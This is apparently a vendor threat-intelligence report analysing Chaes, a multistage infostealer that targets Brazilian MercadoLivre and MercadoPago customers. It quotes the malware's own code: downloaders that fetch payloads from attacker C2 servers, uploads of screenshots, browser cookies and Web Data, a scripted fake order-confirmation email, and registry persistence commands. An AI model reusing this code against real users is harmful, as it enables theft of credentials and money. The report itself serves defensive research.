

CHAES:

Novel Malware Targeting Latin American E-Commerce




The Cybereason Nocturnus Team has been tracking a threat actor leveraging previously undetected malware dubbed “Chaes” to target e-commerce customers in Latin America (LATAM). Chaes malware, which was first discovered in the middle to late 2020 by Cybereason, is a multistage information stealer that primarily targets Brazil and specifically the Brazilian customers of the largest e-commerce company in Latin America, [MercadoLivre](#).

In recent years, the LATAM cybercrime scene has evolved a great deal. Some of the most notorious malware variants that have been prominent in the region over the last year include [Grandoreiro](#), [Ursa](#) and [Astaroth](#). LATAM cybercrime activities demonstrate unique features when it comes to TTP’s and how malware is propagated on an infected machine. Some of the shared similarities include:


- Leveraging of [.MSI](#) files as an initial way to start the infection chain
- The use of [Delphi](#) as the preferred language to write malware
- Extensive use of [LOLBins](#) to execute content
- Downloading additional legitimate tools to expand the malware’s capabilities and for obfuscation

When observing the shared behavior and mindset of LATAM-based threat actors, Cybereason researchers observed that the malware authors emphasize the need to stay under the radar as much as possible, and prefer to use already-existing tools or legitimate software if it fits their needs.




Key Findings

- **Targeting the Biggest E-Commerce Company in Latin America:** Chaes specifically targets the Brazilian website of e-commerce company MercadoLivre and its payment page MercadoPago to steal its customers' financial information. The final payload of Chaes is a Node.js information stealer that exfiltrates data using the node process.
- **Credential Stealing, Screen Capture, Browser Monitoring, Reconnaissance:** Chaes is designed to steal sensitive information from the browser such as login credentials, credit card numbers, and other financial information from MercadoLivre website customers. Chaes also takes screenshots of the infected machine, hooks and monitors the Chrome web browser to collect user information from infected hosts.
- **Multistage Delivery, Multi-Language Malware:** Chaes delivery consists of several stages that include use of LoLbins and other legitimate software, making it very challenging to detect by traditional AV products. Chaes also has multiple stages and is written in several programming languages including Javascript, Vbscript, .NET , Delphi and Node.js
- **Downloads Legitimate Software, Designed for Stealth:** Chaes operates using legitimate tools such as Python, Unrar and Node.js, and Chaes' stages consist of several techniques such as use of LoLbins, open source tools, fileless parts and legitimate node.js libraries designed to increase the malware's stealthiness.
- **Under development:** Cybereason observed new versions of Chaes, showing that the authors are improving the malware and adding more features



Threat Analysis

Phase One: Initial Access



As with many traditional campaigns, this one begins by sending the victim a phishing email containing a .docx file.

Template Injection Attacks



After the user clicks the .docx file, a **Template Injection Attack** occurs. In this technique the adversary is using Microsoft Word's built-in feature to fetch a payload from a remote server, by changing the template target of the settings.xml file embedded in the document and populating this field with a download URL of the next payload:




FIGURE 6


Winword communicating with the C2

WINWORD.EXE	evolved-thief.online	TCP	TCP:Flags=...A..., SrcPort=HTTP(80), DstPort=1264, Payl
WINWORD.EXE	evolved-thief.online	HTTP	HTTP:Response, HTTP/1.1, Status: Ok, URL: /word/tpl/
WINWORD.EXE	evolved-thief.online	HTTP	HTTP:Request, HEAD /word/tpl/, Query:template=anexo
WINWORD.EXE	evolved-thief.online	TCP	TCP:Flags=...A..., SrcPort=HTTP(80), DstPort=1264, Payl
WINWORD.EXE	evolved-thief.online	HTTP	HTTP:Response, HTTP/1.1, Status: Ok, URL: /word/tpl/
WINWORD.EXE	evolved-thief.online	HTTP	HTTP:Request, OPTIONS /word/
WINWORD.EXE	evolved-thief.online	TCP	TCP:Flags=...A..., SrcPort=HTTP(80), DstPort=1264, Payl
WINWORD.EXE	evolved-thief.online	HTTP	HTTP:Response, HTTP/1.1, Status: Ok, URL: /word/

Once the .msi file is executed, it drops the following files:

- **Invisible.vbs**: which the malware uses to execute other processes that will take part in the malware's framework
- **Uninstall.dll**: and engine.bin which constitutes the “malware engine”
- **Hhc.exe, hha.dll and chaes1.bin**: which together constitute the malware's core components

The .msi file then spawns a Wscript child process using “invisible.vbs” to initiate the execution of the engine. bin content using the LOLBin InstallUtil. It also executes a process named “hhc.exe” which is a legitimate [HTML Help \(CHM\) Help Compiler](#) process. The initial activity can be also seen in detail using the Cybereason Defense Platform:



Setting Up the “Malware Engine” and Initial Persistence

As mentioned above, the pair of file binaries uninstall.dll and engine.bin serve as the “malware engine” whose key objective is to download additional content and maintain its foothold on the infected machine. Uninstall.dll is a .NET based module that receives an AES encrypted binary file as an argument and decrypts it:

FIGURE 8
Uninstall.dll

```
public virtual object DecryptStringFromBytes(object cipherText, object Key)
{
    LateBinding lateBinding = new LateBinding("Length");
    Relational relational = new Relational(59);
    LateBinding lateBinding2 = new LateBinding("Length");
    Relational relational2 = new Relational(59);
    LateBinding lateBinding3 = new LateBinding("Length");
    NumericBinary numericBinary = new NumericBinary(47);
```

In the first iteration of the malware, *Uninstall.dll* decrypts the *engine.bin* file which triggers additional download of a file named *"Install.js"*:

FIGURE 9

InstallUtil download install.js

```
exe /u C:\Users\... \Desktop\anexodoc\5352710811713536\uninstall.bin\uninstall.dll /f=C:\Users\... \Desktop\engine.bin\engine.bin
Microsoft (R) .NET Framework Installation utility Version 2.0.50727.5420
Copyright (c) Microsoft Corporation. All rights reserved.

The uninstall is beginning.
See the contents of the log file for the C:\Users\Malware\Desktop\anexodoc\5352710811713536\uninstall.bin\uninstall.dll assembly's progress.
The file is located at C:\Users\... \Desktop\anexodoc\5352710811713536\uninstall.bin\uninstall.InstallLog.
Uninstalling assembly 'C:\Users\... \Desktop\anexodoc\5352710811713536\uninstall.bin\uninstall.dll'.
Affected parameters are:
  assemblypath = C:\Users\... \Desktop\anexodoc\5352710811713536\uninstall.bin\uninstall.dll
  logfile = C:\Users\... \Desktop\anexodoc\5352710811713536\uninstall.bin\uninstall.InstallLog
  logtoconsole =
evalUrl ->https://www.google.com
evalUrl -> SyntaxError: Expected expression
evalUrl ->https://www.wikipedia.org
evalUrl ->http://evolved-thief.online/tarefas/install.js
```

Install.js is a downloader that further downloads binary payloads and counters for them:

FIGURE 10

Install.js download further binaries

```
if ((diff.Hours > 11) || (firstRun)) {
  try {
    downloadAndExecPackage(
      "http://evolved-thief.online/pacotes/chaes2.bin",
      "chaes2.bin"
    )
  }
}
```

The full list of files that install.js attempts to download include:

TABLE 1
Install.js list of domains

OBSERVED URL	PURPOSE
hxxp://cnxtours.com[.]br/ZGkPJCwzO/counter.php	Generic counter
hxxp://cnxtours.com[.]br/2GkPJCwz2/counter.php	Javascript file counter
hxxp://java-update[.]online/Bv3wsrFB0t/counter.php	USB file counter
hxxp://evolved-thief[.]online/pacotes/chaes2.bin	Malware component
hxxp://evolved-thief[.]online/pacotes/elektra1.bin	Malware component
hxxp://evolved-thief[.]online/pacotes/bom8.bin	Observed downloading coinminer

The following image shows InstallUtil processes downloading files from the C2 server:

FIGURE 11
InstallUtil downloading additional content

Process Name	Source	Destination	Protocol Name	Description
InstallUtil.exe	evolved-thief.online		HTTP	HTTP:HTTP Payload, URL: /pacotes/update_chaes/chaes1.bin
InstallUtil.exe	evolved-thief.online		HTTP	HTTP:Response, HTTP/1.1, Status: Ok, URL: /tarefas/install.js
InstallUtil.exe	evolved-thief.online		HTTP	HTTP:Response, HTTP/1.1, Status: Ok, URL: /pacotes/chaes6.bin
InstallUtil.exe	evolved-thief.online		HTTP	HTTP:Response, HTTP/1.1, Status: Ok, URL: /pacotes/hfix.bin

After the files have been downloaded, they are automatically executed by several chains of processes that include *Wscript*, *Cmd* and eventually *InstallUtil* to decrypt the files in the same way it decrypted *engine.bin*.

The files themselves are the artifacts mentioned above - *chaes1.bin*, *hha.dll* and *hhc.exe*.

Interestingly, although the code to download the binaries is in “*Install.js*” but there is no indication of script usage. all the activities are done by *InstallUtil*, which makes this script execution technique very unorthodox and much more challenging to find:

Although it has some benefits when it comes to executing javascript code using *InstallUtil* as a proxy and additional persistence, in some recent observations of Chaes the malware authors have decided to drop this stage in the malware deployment.

Next, the malware creates its first means of persistence using the registry entry `CurrentVersion\run\Installutil\` to execute new instances of `engine.bin` repeatedly. Some of the `.bin` files such as “*elektra1.bin*” also contain the `hhc.exe` process and associated malicious files, so as long the engine’s persistence is maintained, the malware does not need to rely on the `.msi` file to exist.

Registry Key:

`Software\Microsoft\Windows\CurrentVersion\Run\installutil\`

Value:


`wscript.exe "C:\Users\[username]\AppData\Roaming\invisible.vbs" cmd /c cd "C:\Users\[username]\AppData\Roaming\Microsoft\Network" & "C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe" /u "uninstall.dll" /f=engine.bin"`

FIGURE 12

The Cybereason Defense Platform shows the full command lines of *InstallUtil*

Element name
> C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /u uninstall.dll /f=engine.bin
> C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /u uninstall.dll /f=chaes4.bin
> C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /u uninstall.dll /f=chaes5.bin
> C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /u uninstall.dll /f=chaes2.bin
> C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /u uninstall.dll /f=bom200.bin
> C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /u uninstall.dll /f=chaes3.bin
> C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /u uninstall.dll /f=elektra1.bin
> C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /u uninstall.dll /f=chaes6.bin

Phase Two: Chaes Modules and Malware Deployment




Three files that were brought to the machine by the .msi file are hhc.exe, hha.dll and chaes1.bin. As already mentioned, the file hhc.exe belongs to the [HTML Help \(CHM\) Help Compiler](#) and is often used to create CHM files. This process requires the module named “*hha.dll*” to run.


The legitimate hha.dll is a 32-bit Windows DLL module developed by Microsoft Corporation for the HTML Help software and other related programs.

In this case, the attackers delivered to the machine their own crafted *hha.dll* module (unsigned), and took advantage of the [DLL search order](#) to load this module into the legitimate hhc.exe process. In this way, the attackers manage to execute malicious code in the context of a legitimate process without using any injections.

This technique was [already observed](#) in the past in previous research done by Cybereason about financial malware across the Brazilian cybercrime landscape:



The existence of the module and its identification as malicious can be seen clearly in the Cybereason Defense Platform:



hha.dll Analysis


When investigating the module, it is clear that it has nothing in common with the legitimate Windows *hha.dll* module. The module's main goal is to decode and unpack the downloaded content from *chaes1.bin* and load it into memory.

The module begins by getting a handle to the *chaes1.bin* file with read permissions using the [CreateFileW](#) function. It then retrieves the size of the file and allocates new memory accordingly:




After getting the handle for *chaes1.bin* and allocating memory, the module attempts to read the content of the file. If it succeeds in doing so, it sends the newly allocated memory of *chaes1.bin* and additional obfuscated embedded content to another function that deals with unpacking and deobfuscation *chaes1.bin*.

After the routine ends, it produces a new module loaded in memory named "*chaes.dll*" (also written in Delphi) which contains the contents of the decoded *chaes1.bin*:




The presence of this new dll file now found in the memory of hhc.exe can also be seen in the Cybereason Defense Platform, along with another module named *chcopyd1.dll*:



chaes.dll Analysis

When the researchers first inspect chase.dll using Pestudio, it was immediately observed that this module has an executable named “**UNRAR**” stored in its resources section. UNRAR is a free and open source command-line application for extracting RAR file archives which adversaries use to extract additional content sent from the C2 server as archived files:



As expected, *chaes.dll* loads this executable from its binary and assigns it with 0x40 permissions which is the hexadecimal value of the symbolic constant name READ-WRITE-EXECUTE.

UNRAR is not the only file that the malware drops- *chaes.dll* also drops *invisible.vbs*, *config.ini* and *instructions.ini*:

TABLE 2
File names dropped by *chaes.dll*

FILE NAME	SHA-1Hash
config.ini	bf3174b0151ff6c1b57398f37c9f381bb2b66a6c
instructions.ini	84f38bf9df9a0153050b371033afc0d8191763bf
unrar.exe	6411159bbf02b44caee6b42390bf866d46aed0e4
invisible.vbs	2182243567bfcefc88b4ebcc42ed52e1dd1e69
hxxp://evolved-thief[.]online/pacotes/bom8.bin	Observed downloading coinminer

Config.ini and Instructions.ini

As inferred from its name, *config.ini* stores the configuration for the C2:

FIGURE 20
config.ini

```
[Urls]
report=http://evolved-thief.online/aws
instructions=http://evolved-thief.online/aws
```

Instructions.ini stores the instructions to be sent to the C2 server to download the additional content and to deploy the full malware. Like many other commands in this malware, some of them will be executed using the *invisible.vbs* file:


FIGURE 21
instructions.ini

```
[Instructions]
number=3
[n1]
name=chstea01
command=hhc.exe
password=luciferlives
url=http://evolved-thief.online/pacotes/chstea01.rar
execution=restart
[n2]
name=spm2
command=cmd.exe /c start "" wscript.exe "%PROGRAMDATA%\invisible.vbs" pythonw.exe
password=spmspm4
url=http://evolved-thief.online/pacotes/spm4.rar
execution=always
[n3]
name=usb3
command=cmd.exe /c start "" wscript.exe "%PROGRAMDATA%\invisible.vbs" hhc.exe
password=lucylucy
url=http://evolved-thief.online/pacotes/usb3.rar
execution=restart
[n4]
name=fixi2
command=hhc.exe
password=lucifer
url=http://evolved-thief.online/pacotes/fixi2.rar
execution=always
```


The additional files obtained from the C2 server are:

- **chstea01.rar** - this file contains the *hhc.exe* process, the malicious *hha.dll*, *chaes1.bin* and *sqlite3.dll* (the first hint that SQL will be used by the malware).
- **fixi2.rar and usb3.rar** - these files contain the *hhc.exe* process, *hha.dll* and *chaes1.bin*.
- **spm4.rar** - this archive contains Python-related files and a large binary file named "*load.bin*".

After the archived files are downloaded, *pythonw.exe* uses UNRAR to extract and execute their content:



In recent versions of Chaes, *instructions.ini* file turned fileless and is stored in the registry:



Chaos Communication with the C2

The communication between *chase.dll* and its C2 server is made up of three repetitive post and requests calls:

- **NewClient:** provides the C2 with information from the victim's machine (machine name, user name, uid, operating system version and malware version).
- **Instructions:** sends and receives content that was base64-encoded and then encrypted.
- **Config:** which is also encoded and encrypted.

FIGURE 24

Chaos communicates with the C2

Process Name	Source	Destination	Protocol Name	Description
hhc.exe		awsgold.xyz	HTTP	HTTP:Request, POST /aws/newClient.php
hhc.exe	awsgold.xyz		HTTP	HTTP:Response, HTTP/1.1, Status: Ok, URL: /aws/newClient.php
hhc.exe		awsgold.xyz	HTTP	HTTP:Request, POST /aws/instructions
hhc.exe	awsgold.xyz		HTTP	HTTP:Response, HTTP/1.1, Status: Ok, URL: /aws/instructions
hhc.exe		upload-jupiter2020.dd...	HTTP	HTTP:Request, POST /config
hhc.exe	upload-jupiter20...		HTTP	HTTP:Response, HTTP/1.1, Status: Ok, URL: /config

FIGURE 25

Chaos "NewClient.php" communication

```
POST /aws/newClient.php HTTP/1.1..Accept: */*..Content-Type:
application/x-www-form-urlencoded..User-Agent: Mozilla/5.0 (Windows NT
6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/84.0.4147.105 Safari/537.36..Host:
evolved-thief.online..Content-Length: 71..Cache-Control:
no-cache...uid=B855E7B6&pyv=CHAES.01&wos=498139398&cna=
&una=
```

Stealing Information from the Browser

In addition, the *hhc.exe* process creates several .sql files named *local.sql*, these SQL databases are being used in order to extract sensitive information from the Chrome browser similar to other traditional information stealers, some of the SQL tables are related to credit cards, login credentials of websites and personal information of a user:

FIGURE 26

Credit card related database to extract information from the browser

```
CREATE TABLE credit_cards ( guid VARCHAR PRIMARY KEY, name_on_card
VARCHAR, expiration_month INTEGER, expiration_year INTEGER,
card_number_encrypted BLOB, date_modified INTEGER NOT NULL DEFAULT 0
, origin VARCHAR DEFAULT '', use_count INTEGER NOT NULL DEFAULT 0,
use_date INTEGER NOT NULL DEFAULT 0, billing_address_id VARCHAR,
nickname VARCHAR) indexautofill_name_value_lowerautofill CREATE
INDEX autofill_name_value_lower ON autofill (name, value_lower)
```


Additional Persistence

In addition to the downloading and executing content, the malware will set another persistence using the registry, one in the *software\microsoft\windows\currentversion\run\microsoft windows html help v6.1.2390*

And and second in *software\microsoft\windows\currentversion\run\microsoft windows html help*:

Registry key:

Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Windows html help v6.1.2390

Value:

Wscript "C:\ProgramData\invisible.vbs" cmd /V:ON /C cd "%APPDATA%\Microsoft\HTML Help v6.2.1533\" & wscript.exe %PROGRAMDATA%\invisible.vbs "hhc.exe"

Registry key:

Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Windows html help


Value:

Wscript "C:\ProgramData\invisible.vbs" cmd /V:ON /C cd "C:\Users\[username]\APPDATA\Roaming\Microsoft\HTML Help v6.2.1533\" & wscript.exe C:\PROGRAMDATA\invisible.vbs "hhc.exe"

Second Stage Deployment via Python


Once Chaes finishes downloading the additional content and establishing its persistence, the additional content activity starts to initiate the second stage of the malware deployment. First, *pythonw.exe* injects a module named *"ModHooksCreateWindow64.dll"* into a newly created Chrome process.

This Chrome browser is a browser that opens silently in the background and without the user knowledge or consent about its existence. This can be seen also using the Cybereason platform:




ModHooksCreateWindow64.dll Analysis

When the team investigated the module, it was observed that its name indicates this module deals with classic API hooking techniques, this can be seen by the number of JMP codes that appears and with some strings that suggest about it also:



When the researchers examined the module strings, it was observed that some of the strings and file names have an exact match with an open source project named **DDetours**, and especially two files named "*DDetours.pas*" and "*InstDecode.pas*". According to its github page: "*The DDetours is a library allowing you to hook Delphi and Windows API functions. It provides an easy way to insert and remove hooks.*" The malware authors show again their creativity in attempts to stay under the radar when they are using legitimate open source software.

In addition to the DDetours code, the module also contains several strings that indicate hooking of the function *ShowWindow* and aim to specifically detect if the Chrome browser is active. This technique was also seen in the **leaked code of the Carberp Botnet** that aims to hook *ShowWindow* to detect the presence of Internet Explorer:



Overall, this module grants the malware the capability to perform any API hooking that it desires, and specifically aims to target the Chrome browser. Browser hooking is the hallmark feature of most financial malware. In the end, *pythonw.exe* will also download a JavaScript file named “*index.js*” which is a targeted information stealer written in **Nodejs**:

FIGURE 30

Pythonw.exe downloading index.js infostealer

Process Name	Source	Destination	Protocol Name	Description
pythonw.exe		awsgold.xyz	HTTP	HTTP:Request, GET /spm/index.js, Query:p=1801821493
pythonw.exe	awsgold.xyz		HTTP	HTTP:Response, HTTP/1.1, Status: Ok, URL: /spm/index.js
pythonw.exe	awsgold.xyz		HTTP	HTTP:HTTP Payload, URL: /spm/index.js
pythonw.exe	awsgold.xyz		HTTP	HTTP:HTTP Payload, URL: /spm/index.js


Downloading the Node.js Component

After setting up the hooking of Chrome, *pythonw.exe* executes the final piece of the malware framework which is installing *Nodejs* in the infected machine in a location that contains the path “*Microsoft\Media\Oz*”. **Node.js is an open-source**, cross-platform, back-end JavaScript runtime environment that executes JavaScript code outside a web browser. This is another instance of legitimate software that this malware uses in order to operate and execute its malicious activity.

The node.exe process will be the last part of the puzzle, it will be responsible for reacting according to code written in “*index.js*” and sending the collected data from the infected machine to the C2. This can be seen also using the Cybereason UI:

When the full deployment of the malware is examined, it was observed that the deployment activity is divided into three pieces:

- Hhc.exe process will mainly act as the component that keeps the malware maintenance, persistence and downloader of the additional components.
- Pythonw.exe will be the process that deploys the downloaded content and executes it.
- And eventually, node.exe will be the process that receives the data according to “*index.js*” and send it to C2.



Phase Three: Targeted Node.js Malware

Index.js is a *Node.js* based information stealer that keeps being updated and evolved during the last months. To this date the last update was observed in the beginning of November 2020. The main goal of this script is to act as the main orchestrator of the Chaos's main goal.

Master of Puppets

When starting to investigate *index.js*, at first glance it was observed that the string "*puppeteer-core*". This is an indication that this script will be using the *Node.js* library "**Puppeteer**".

Puppeteer is a Node library which provides a high-level API to control Chrome or Chromium over the DevTools Protocol. Puppeteer runs headless by default, but can be configured to run full (non-headless) Chrome or Chromium.

In other words, the script has the ability to execute code that can interact with a remote C2 server with or without dependence on the Chrome browser being opened by a user.

The Puppeteer library is also known to be used for performing web scraping, the process of automating data collection from the web. The process typically deploys a "crawler" that automatically surfs the web and scrapes data from selected pages. Interestingly, we also notice the existence of the variable "*mercado_pago_done*". This is the first indication that this script will deal with information and data related to Mercado-Pago.

Mercado Pago is the payment platform for online sales of the company **Mercado Livre**. Mercado Livre, Inc. is an Argentine company incorporated in the United States that operates online marketplaces dedicated to e-commerce and online auctions. According to Wikipedia, Mercado Livre had over 174 million users in Latin America, making it the region's most popular e-commerce site by number of visitors:

FIGURE 32

Usage of Puppeteer library

```
const request = require('request')
const puppeteer = require('puppeteer-core')
const fs = require('fs')

let mercado_pago_done = false
```

In order to operate, the script will first attempt to connect to the newly created Chrome session, after which this chrome session actions will be dependable on the *index.js* script. Considering that the Chrome session is already monitored and hooked, it is apparent how deeply the malware has visibility into its activity.

FIGURE 33

The NodeJs malware connect to Chrome browser

```
async function connectToChrome(webSocketDebuggerUrl) {
  const browser = await puppeteer.connect({
    browserWSEndpoint: webSocketDebuggerUrl,
    defaultViewport: null
  })

  try {
    mercado_pago_done = false
    await mercadoPago(browser)
  }
}
```

In addition, the script contains other multiple functions that are related to communicating and controlling the newly created Chrome browser remotely.

Data Collecting Functions

One of the prominent functions that this info-stealer uses is *printReport()*. This function gets a web page URL and information to print as an argument, and then creates an image of this web page to be uploaded to the C2 server.

This function will be used whenever the info-stealer chooses to notify the C2 server about a specific activity. The uploading capabilities are created using another function called "*fileUpload*" that receives a URL, a message, and a filename to upload:

FIGURE 34
PrintReport function

```
async function printReport(page, print_message, c) {
  try {
    const filename = `print_${c}.png`

    await page.screenshot({ path: filename, fullPage: true })

    await fileUpload('http://awsgold.xyz/log/index.php', print_message, filename)

    fs.unlinkSync(filename)
  } catch (error) {
    console.log(error)
  }
}
```

Another function is *loadUID()*, which as its name suggests, will locate the UID of the infected machine.

The UID consists of three parts - random letters, machine name and user name:

FIGURE 35
LoadUID function

```
function loadUID() {
  try {
    let uidDir = process.env.APPDATA
    uidDir = `${uidDir}\\Microsoft\\Media\\Oz`
    let uidConfig = `${uidDir}\\uid.json`

    return JSON.parse(fs.readFileSync(uidConfig))
  } catch (error) {
    console.log(error)
    return false
  }
}
```

Accessing the Target

The first significant malicious activity performed by the script is to navigate the Chrome browser to *mercadopago.com.br* and then extract the infected machine's user financial information. The information extracted is stored in three variables named in Portuguese:

- **Dinheiro_disponivel:** which means "money available"
- **Prefil:** which means "profile"
- **Atividades_item:** which means "item activities"

FIGURE 36

The Nodejs malware collects financial information of mercadopago customers

```
try {
  await page.goto('https://www.mercadopago.com.br', {
    waitUntil: 'load', timeout: 0
  })

  await printReport(page, 'MercadoPago Print', 'mercado_pago_debug')

  const dinheiro_disponivel = '.banking-multi-row__amount'
  const perfil = '.mp-user-menu__content'
  const atividades_item = '.c-activities__list li'
```

As mentioned previously, Chaes is still under development. In a version that appeared in late 2020, the way to address Mercadopago page become more direct with an attempt to extract data from the following url:

"*https://www.mercadopago.com.br/banking/balance#from-selection=home*".

FIGURE 37

Index.js version that observed in late 2020

```
const res = await navigate('https://www.mercadopago.com.br/banking/balance#from-section=home', page)
if (!res) return
console.log('Navigation completed')
await printReport(page, 'Mercado Pago Screenshot', 'mercado_pago.png')
const url = await page.url()
if (!url.match(/mercadopago\..*home/)) return
console.log(`${await page.title()}`)
console.log(`${await page.url()}`)

let saldo = await page.$eval('.price-tag-fraction', el => el.innerText)
let perfil = await page.$eval('.mp-user-menu__user-info', el => el.innerText)

perfil = perfil.replace('Olá ', '')
perfil = perfil.replace(' - Mercado Pontos', '')
perfil = perfil.replace(/[\r\n]+/, ' | ')


console.log(`${perfil}`)
console.log(`R$ ${saldo}`)

await httpPost(`${host}/aws/newMercadoPago.php`, {
  uid: loadUID().uid,
  data: JSON.stringify({
    saldo: saldo,
    perfil: perfil,
    atividades: ''
```

Taking screenshot of
MercadoPago page

Sending the financial information

The script will also attempt to navigate and scrape data from: “*www.mercadolivre.com.br/credits/consumer/administrator#menu-user*”, an online payment section of mercadolibre.com. As with the Mercadopago page, the script will attempt to read the data from this webpage as well, storing credit card data in two constant variables named “*mcredito_selector*” and “*mcredito_available*”. Then, it will report its findings to the C2 server using the aforementioned `printReport()` function:




As can be seen in the script, in each of the cases, whether its MercadoLivre or MercadoPago associated pages, the script will use the aforementioned function `printReport()` to create an image of the targeted webpage and eventually send the extracted data to the C2 server. The creation of these images can be seen using the Cybereason Defense Platform:

FIGURE 39

Grouped by	Element name		Event type
> 📁	node.exe c:\users\██████\appdata\roaming\microsoft\media\oz\mercado_pago.png	42	FET_DELETE x21, FET_CREATE x21
> 📁	node.exe c:\users\██████\appdata\roaming\microsoft\media\oz\mercado_credito.png	42	FET_DELETE x21, FET_CREATE x21

After creating the screenshot, the information will be sent to the C2 server using the **Multi-Purpose Internet Mail Extensions (MIME) protocol** - an extension to the Internet email protocol that allows users to exchange different kinds of data files such as images, audio, and video. Note, in latest versions of *index.js* the entire communication of the *node.exe* process is encrypted:



Eventually, when the data scraped from the website has been collected, the script sends it as a json file and uploads it to the remote C2 server. In the end, the attacker will have information on the victim pulled from their profile, including their cash balance:

FIGURE 41

The Node.js malware create the json to send information about new customer

```
console.log(await httpPost(`${paine1_url}/newMercadoPago.php`, {
  uid: uid.uid,
  data: JSON.stringify({
    saldo: dinheiroText,
    perfil: perfilText,
    atividades: atividadesText
```

Sending Fake Emails

Once the user makes a transaction, the script will use a function called `sendEmail()` to automatically send an fake email (allegedly to be on the behalf of Mercado Livre) informing the customer about the purchase that they made. In this fake email, "Mercado Livre" sends the following message:

"Your order has been successfully billed on our system, Order No.: 112187194961661 generated on 9/22/2020 at 09:33:48 PM Status: APPROVED!

Order amount: R \$ 4661.22 payment billed in 4X (Boleto Bancário).

Attached are the accesses containing the data listed above:

Access Key: 3872190867349812064732892309012388561092"

To increase the legitimacy of the message, the customer is also informed that the email has been scanned by Avast and does not contain any virus:

FIGURE 42

The Node.js malware sendEmail function

```
const sendEmail = async (page, contact, account_i, contact_i) => {
  const encoded_email = encodeURIComponent(contact.email)

  console.log(`Email to: ${contact.email}`)

  await page.goto(`https://mail.google.com/mail/u/${account_i}/?hl=pt-BR&view=cm&tf=1&fs=1&to=${encoded_email}`, {
    waitUntil: 'load', timeout: 0
  })
  await page.waitFor(5666)

  const subjectBox = await getSubjectField(page)

  await page.type(subjectBox.selector, 'Mercado Livre - NF-e: 73104, Emissor: 31471870000172 - P. ROBERTO DOS SANTOS BAIA', { delay: 66 })
  await page.waitFor(1666)
```

FIGURE 43

SendEmail function fake mail

```

await page.type(messageBox.selector, 'Seu pedido foi faturado com sucesso em nosso
sistema, Pedido de N°: 112187194961661 gerado em 22/09/2020 às 09:33:48 PM Status:
APROVADO!

Valor do pedido: R$ 4661,22 pagamento faturado em 4X (Boleto Bancário).

Segue em anexo os acessos contendo os dados acima relacionados:

Chave de Acesso: 3872190867349812064732892309012388561092

Esse é um e-mail automático. Não é necessário respondê-lo e-mail livre de virus
verificado by http://www.avast.com`, { delay: 66 })

    await page.waitFor(1666)

    const attachmentField = await getAttachmentField(page)

    await attachmentField.handle.uploadFile(
      'DNF-e-35200200545394000163550010000001091000016.vhd')

```

The script also determines if there is any money to extract from the customer, If not, it displays a message about it:

FIGURE 44

The Node.js malware verify if the customer has money

```

if (!dinheiroText) {
    throw 'Dinheiro disponível não encontrado'
}

```

Additionally, the script also extracts the cookies and web data from the MercadoPago site, and stores them as constant variables named “cookies” and “web_data”. This data is also uploaded to the C2 server:

FIGURE 45

The Node.js malware collects cookies and web data of mercado pago web page

```

await printReport(page, 'Mercado Pago', 'mercado_pago')

const cookies = 'Session\\Default\\Cookies'
const web_data = 'Session\\Default\\Web Data'

await fileUpload('http://awsgold.xyz/log/index.php', 'Mercado Pago - Cookies',
cookies)

await fileUpload('http://awsgold.xyz/log/index.php', 'Mercado Pago - Web Data',
web_data)

```

Understanding the Endgame

After analyzing the *node.js* malware and the entire deployment process of Chaes, the researchers realized the full functionality and capabilities of the malware. The malware opens a Chrome browser, monitors it using hooking, and then controls its activity using the Puppeteer capabilities that are stored within the Node.js script. In this way, the malware is able to enter MercadoPago and MercadoLivre payment sections without the user's interaction or consent. It then scrapes the information stored in it and sends it to a remote C2 server.

The alarming part in this *node.js*-based malware is the fact the majority of this behavior is considered normal, as the usage of the Puppeteer library for web scraping is not malicious by nature. Therefore, detecting these kinds of threats is much more challenging.

Evolving Threat

Chaes is a rapidly evolving threat, and in recent months the malware authors appear to have adapted and changed some parts of their framework. Recent versions of Chaes are observed without the usage of *InstallUtil* and with better network encryption. In addition, the final *Node.js* script "*index.js*" appears to also be updated and contains: more functionality that is related to controlling the chrome browser, new updated C2 IP/Domains, new MercadoPago financial webpage, and removing the fake mail section.

Although some versions of Chaes may change in some parts, the endgame goal still remains: under the radar activity accessing MercadoLivre and MercadoPago websites without user's consent and data exfiltration using node process. This can also be seen using the Cybereason Defense Platform:





FIGURE 47

The Cybereason Defense Platform shows Chaes accessing MercadoLivre and MercadoPago websites and data exfiltrated from node.exe process



Conclusion

In this research, Cybereason discovered a new and evolving threat in the Latin American cyber crime scene called Chaes. This malware made its first appearance during the middle to end of 2020. It specifically targets Brazil and the largest e-commerce company in Latin America, Mercado Livre. It is a multistage malware deployment which uses several legitimate Windows processes and open source tools to remain undetected. These components are not always malicious on their own, but when put together they form a stealthy infection chain that is hard to detect.

Multistage malware that uses such **techniques** in the **LATAM** region and specifically in **Brazil** have already been observed and investigated by Cybereason in the past years.

Chaes demonstrates how sophisticated and creative malware authors in the Latin America region can be when attempting to reach their goals. The malware not only serves as a warning sign to information security researchers and IT professionals not to take lightly the existence of files that are legitimate in nature, but also raises the concern of a possible future trend in using the Puppeteer library for further attacks in other major financial institutions.

Cybereason will continue to monitor Chaes' progress to determine whether it will expand to more e-commerce companies in the Latin Americas, and whether the popularity of Node.js-based malware will continue to evolve.

MITRE ATT&CK Breakdown

INITIAL ACCESS	EXECUTION	PERSISTENCE	PRIVELEGE ESCALATION	DEFENSE EVASION	CREDENTIAL ACCESS	DISCOVERY	COLLECTION	EXFILTRATION	C&C
Spearphishing Link	Command-Line Interface	Modify Registry	Registry Run Keys / Startup Folder	InstallUtil	Credentials in Files	Account Discovery	Data from Information Repositories	Automated Exfiltration	Data Obfuscation
Spearphishing Attachment	Scripting		Valid Accounts	Modify Registry	Credentials from Web Browsers	File and Directory Discovery	Data from Local System	Data Compressed	Mail Protocols
	JavaScript/JScript			Scripting		System Information Discovery	Data Staged	Data Encrypted	
	Python			DLL Search Order Hijacking		System Network Configuration Discovery	Email Collection	Exfiltration Over Command and Control Channel	
